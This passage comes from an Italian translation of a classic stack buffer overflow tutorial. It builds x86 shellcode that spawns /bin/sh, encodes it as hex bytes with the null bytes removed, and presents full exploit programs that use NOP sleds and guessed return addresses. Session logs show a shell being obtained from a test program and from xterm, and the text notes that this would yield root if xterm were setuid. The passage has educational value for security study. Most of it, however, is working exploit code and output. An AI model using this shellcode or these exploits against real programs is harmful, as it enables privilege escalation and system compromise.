L'istruzione CALL può semplicemente chiamare l'inizio del nostro codice.
Tenendo conto che J sta per l'istruzione JMP, C per CALL e s per la
stringa, il flusso d'esecuzione sarà ora:
base della DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF cima della
memoria 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memoria
buffer sfp ret a b c
<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
cima dello base dello
stack stack
Con queste modifiche, usando indirizzi indicizzati, e scrivendo quanti
bytes prende ogni istruzione, il nostro codice sarà:
------------------------------------------------------------------------------
jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset,(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call offset-to-popl # 5 bytes
la stringa /bin/sh va quì.
------------------------------------------------------------------------------
Calcolando gli offsets da jmp a call, da calla a popl, dall'indirizzo
di stringa al nuovo array e dall'indirizzo d istringa alla parola lunga
nulla, abbiamo:
------------------------------------------------------------------------------
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes
------------------------------------------------------------------------------
Sembra buono. Per assicurarci che funzioni correttamente dobbiamo
compilarlo ed eseguirlo. Ma c'è un problema. Il nostro codice si modifica
da se, ma la maggior parte dei sistemi operativi contrassegna le pagine di
codice in sola lettura. Per evitare questa restrizione dobbiamo mettere il
codice che vogliamo eseguire nello stack o in segmenti di dati, e
trasferire il controllo ad esso. Per fare ciò metteremo il nostro codice
in un array globale nel segmento di dati. Abbiamo bisogno prima della
rappresentazione esadecimale del codice binario. Compiliamolo prima e poi
usiamo gdb per ottenerlo.
shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: jmp 0x800015f <main+47>
0x8000135 <main+5>: popl %esi
0x8000136 <main+6>: movl %esi,0x8(%esi)
0x8000139 <main+9>: movb $0x0,0x7(%esi)
0x800013d <main+13>: movl $0x0,0xc(%esi)
0x8000144 <main+20>: movl $0xb,%eax
0x8000149 <main+25>: movl %esi,%ebx
0x800014b <main+27>: leal 0x8(%esi),%ecx
0x800014e <main+30>: leal 0xc(%esi),%edx
0x8000151 <main+33>: int $0x80
0x8000153 <main+35>: movl $0x1,%eax
0x8000158 <main+40>: movl $0x0,%ebx
0x800015d <main+45>: int $0x80
0x800015f <main+47>: call 0x8000135 <main+5>
0x8000164 <main+52>: das
0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>: das
0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>
0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>: 0xeb
(gdb)
0x8000134 <main+4>: 0x2a
(gdb)
.
.
.
------------------------------------------------------------------------------
testsc.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
------------------------------------------------------------------------------
Funziona! Ma c'è un ostacolo. Nella maggior parte dei casi dobbiamo
riempire un buffer di caratteri. Dato che ogni byte nullo nel nostro shell
code indicherà la fine della stringa, la copia verrà terminata. Non ci
devono essere bytes nulli nello shell code per far in modo che l'exploit
funzioni. Cerchiamo di eliminare i bytes (e allo stesso tempo renderlo più
piccolo).
Istruzione: Sostituzione:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
Il nostro codice migliorato:
shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
# 46 bytes total
");
}
------------------------------------------------------------------------------
E il nostro nuovo programma di test:
testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
------------------------------------------------------------------------------
Scrivere un Exploit
~~~~~~~~~~~~~~~~~~~
Cerchiamo di mettere tutti i nostri pezzi insieme. Abbiamo lo
shellcode. Sappiamo che deve far parte della stringa che useremo per
riempire il buffer. Sappiamo che dobbiamo puntare l'indirizzo di ritorno
nel buffer. Questo esempio dimostrerà questi punti.
overflow1.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
------------------------------------------------------------------------------
Quello che abbiamo fatto è stat oriempire l'array large_string[] con
l'indirizzo di buffer[], che è dove si trova il nostro codice. Poi copiamo
il nostro shellcode all'inizio della stringa large_string. strcpy()
copierà poi large_string nel buffer senza fare alcun controllo, e riempirà
l'indirizzo di ritorno, sovrascrivendolo con l'indirizzo dove il nostro
codice è ora allocato. Una volta che Una volta che terminiamo il main e
cerchiamo di tornare, verrà eseguita una shell.
Il problema che dobbiamo affrontare quando cerchiamo di riempire il
buffer di un altro programma è cercare di capire a quale indirizzo starà
il buffer (e quindi il nostro codice). La risposta è che per ogni
programma lo stack comincerà allo stesso indirizzo. La maggior parte dei
programmi non inseriscono più di poche centinaia o migliaia di bytes nello
stack ogni volta. Conoscendo dove comincia lo stack possiamo cercare di
indovinare dove sarà il buffer che stiamo cercando di riempire. Ecco un
piccolo programma che stamperà lo stack pointer:
sp.c
------------------------------------------------------------------------------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x\n", get_sp());
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ ./sp
0x8000470
[aleph1]$
------------------------------------------------------------------------------
Assumiamo che questo è il programma che vogliamo exploitare:
vulnerable.c
------------------------------------------------------------------------------
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
------------------------------------------------------------------------------
Possiamo creare un programma che prende come parametro una grandezza di
buffer e un offset dal suo stack pointer (dove crediamo che stia il buffer
che vogliamo riempire). Metteremo la stringa di overflow in una variabile
così sarà facile manipolarla:
exploit2.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
Ora possiamo cercare di indovinare dove dovrebbero stare il buffer e
l'offset.
------------------------------------------------------------------------------
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
Come possiamo vedere questo non è un processo efficiente. Cercare di
indovinare l'offset anche se conosciamo l'inizio dello stack è pressochè
impossibile. Avremo bisogno di centinaia di tentativi, e nella peggiore
delle ipotesi anke migliaia. Il problema è che abbiamo bisogno di sapere
esattamente dove l'indirizzo del nostro codice comincia. Un modo per far
aumentare le nostre possibilità è di imbottire il nostro buffer overflow
con istruzioni NOP. La maggior parte dei processori hanno un'istruzione
NOP che esegue un'operazione nulla. E' usata spesso per staccare le
esecuzioni per motivi di tempo. Trarremo vantaggio da essa e riempiremo la
metà del nostro overflow con essa. Metteremo il nostro shellcode al
centro, e poi lo faremo seguire con gli indirizzi di ritorno. Se siamo
fortunati e l'indirizzo punta da qualche parte nella stringa dei NOP, essi
verranno eseguiti finchè ci sarà il nostro codice. Nell'architettura Intel
l'istruzione NOP è lunga un byte e traduce a 0x90 in codice macchina.
Assumendo che lo stack comincia all'indirizzo 0xFF, che S sta per lo
shellcode, e che N sta per l'istruzione NOP, il nuovo stack sarà qualcosa
del genere:
base della DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF cima della
memoria 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memoria
buffer sfp ret a b c
<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^ |
|_____________________|
cima dello base dello
stack stack
Il nuovo exploit sarà quindi:
exploit3.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
Una buona selezione del nostro buffer size è circa 100 byte in più
rispetto alla dimensione del buffer che stiamo cercando di riempire.
Questo prenderà il posto del nostro codice alla fine del buffer che stiamo
cercando di riempire, dando molto spazio per i NOP, ma anche
sovrascrivendo l'indirizzo di ritorno con l'indirizzo che abbiamo
indovinato. Il buffer che stiamo cercando di sfruttare è lungo 512 bytes,
così useremo 612. Cerchiamo di exploitare il nostro programma di test con
il nuovo exploit:
------------------------------------------------------------------------------
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
Wow! Al primo tentativo! Questa modifica ha migliorato le nostre
possibilità di gran lunga. Proviamolo in un vero caso di buffer overflow.
Per il nostro esempio, useremo xterm (tutti i programmi collegati alla
libreria Xt sono vulnerabili). Devi avere in esecuzione un server X e
permettere connessioni a esso dal localhost.
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit3 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "ë^1¤FF
°
óV
¤1¤Ø@¤èÜÿÿÿ/bin/sh¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤
ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤
¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤
^C
[aleph1]$ exit
[aleph1]$ ./exploit3 2148 100
Using address: 0xbffffd48
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "ë^1¤FF
°
óV
¤1¤Ø@¤èÜÿÿÿ/bin/sh¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤
ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H
¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿
H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ
¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ
Warning: some arguments in previous message were lost
Illegal instruction
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit4 2148 600
Using address: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "ë^1¤FF
°
óV
¤1¤Ø@¤èÜÿÿÿ/bin/shûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tû
ÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿T
ûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿
Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ
¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ
Warning: some arguments in previous message were lost
bash$
------------------------------------------------------------------------------
Eureka! Meno di una dozzina di tentativi e abbiamo trovato i numeri
magici. Se xterm è installato comesuid root avreo una shell root.
Piccolo Buffer Overflows
~~~~~~~~~~~~~~~~~~~~~~~~
Ci saranno volte che quando il buffer che stai cercando di riempire è
talmente tanto piccolo che lo shellcode non entrerà in esso, e
sovrascriverà l'indirizzo di ritorno con le istruzioni al posto
dell'indirizzo del nostro codice, o il numero dei NOP che puoi inserire
davanti alla stringa è talmente piccolo che le possibilità di indovinare
l'indirizzo sono minuscole. Per ottenere una shell da questi programmi
useremo un altro modo. Questo approccio particolare funziona solo quando
hai accesso alle variabili d'ambiente del programma.
Quello che faremo è mettere il nostro shellcode in una variabile
d'ambiente, e poi riempire il buffer con l'indirizzo di questa variabile
in memoria.
Le variabili d'ambiente sono memorizzate in cima allo stack quando il
programma viene eseguito, e ogni mofifica fatta da setenv() è allocata
altrove. Lo stack all'inizio è una cosa del genere:
<stringhe><argomenti>NULL<envp pointers>NULL<argc><argv><envp>
Il nostro nuovo programma avrà una variabile in più, la dimensione
della variabile contenente lo shellcode e i NOP. Il nostro nuovo exploit
sarà:
exploit4.c
------------------------------------------------------------------------------
